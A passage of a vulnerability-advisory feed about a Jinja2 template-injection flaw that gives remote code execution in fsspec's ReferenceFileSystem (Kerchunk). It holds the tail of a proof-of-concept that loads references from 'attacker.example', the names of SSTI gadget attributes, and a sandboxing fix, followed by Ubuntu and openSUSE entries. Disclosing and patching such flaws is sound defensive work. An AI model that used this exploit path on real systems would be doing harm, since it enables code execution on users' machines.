\"http://attacker.example/refs.json\",\n            \"remote_protocol\": \"http\",\n        },\n    },\n)\n# RCE fires before any data is materialised.\n```\n\n### Tested on\n\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux\n\n### Impact\n\n`fsspec.ReferenceFileSystem` is the canonical entrypoint for the **Kerchunk**\nformat, widely used in the Pangeo / Earth-observation / climate\ndata-science ecosystem to provide cloud-optimised views of\nHDF5 / NetCDF / GRIB archives hosted on object storage.\n\nRealistic attack vectors:\n\n- A user opens a community-shared Kerchunk catalogue link via xarray/dask.\n- A managed data-science platform (notebook server, batch job runner)\n  ingests user-submitted Kerchunk URLs.\n- A workflow downloads a catalogue from a bucket whose contents have\n  been tampered with (supply chain).\n\nIn every case, the victim performs no action beyond opening a \"reference\nfilesystem\" — there is no documented expectation that a data catalogue\ncan execute arbitrary Python code.\n\n### Suggested fix\n\nReplace `jinja2.Template(...)` with a shared\n`jinja2.sandbox.ImmutableSandboxedEnvironment` for all three sinks. This\nmatches the post-incident hardening applied to `llama-cpp-python` after\nCVE-2024-34359.\n\n```python\n# At module top\ndef _sandboxed_env():\n    import jinja2.sandbox\n    env = getattr(_sandboxed_env, \"_env\", None)\n    if env is None:\n        env = jinja2.sandbox.ImmutableSandboxedEnvironment()\n        _sandboxed_env._env = env\n    return env\n```\n\nThen in each sink, replace `jinja2.Template(s).render(...)` with\n`_sandboxed_env().from_string(s).render(...)`.\n\nThe legitimate Kerchunk template syntax (simple variable substitution\nlike `{{ varname }}`) continues to work under the sandbox; only the SSTI\ngadgets (`__class__`, `__init__.__globals__`, `__subclasses__`, etc.)\nare refused with `jinja2.exceptions.SecurityError`.\n\nA complete patch is available on request.\n\n### Credit\n\nReported by Dany.A","status":"published","published":"2026-10-15T10:22:44.502919Z","modified":"2026-10-15T14:45:07.362640573Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:57.671918Z"},{"id":"UBUNTU-CVE-2026-104851","description":"fsspec is a specification and Python implementation framework for filesystem interfaces. From 0.9.0 until 2026.6.0, fsspec.implementations.reference.ReferenceFileSystem evaluates fields from Kerchunk reference JSON documents through unrestricted jinja2.Template(...).render(...) calls in _process_references1._render_jinja, _process_templates, and _process_gen in fsspec/implementations/reference.py. A document supplied inline or fetched from an attacker-controlled URL can provide template expressions that execute Python code when the reference filesystem is opened, including through consumers such as xarray, before referenced data is read. The _process_gen path is reached whenever a document includes a gen array, while the other paths depend on template-related options and values. This issue is fixed in version 2026.6.0.","status":"published","published":"2026-10-02T17:17:00Z","modified":"2026-10-17T12:58:42.713511223Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:55:59.130573Z"},{"id":"openSUSE-SU-2026:22028-1","title":"Security update for python-fsspec","description":"This update for python-fsspec fixes the following issues:\n\nChanges in python-fsspec:\n\n- CVE-2026-104851: python-fsspec: remote code execution via\n  server-side template injection in `ReferenceFileSystem` (bsc#1284173)\n","status":"published","published":"2026-10-06T10:57:21Z","modified":"2026-10-07T17:23:12.335252265Z","updated_at":"2026-11-02T16:58:42.426393Z"}]}}
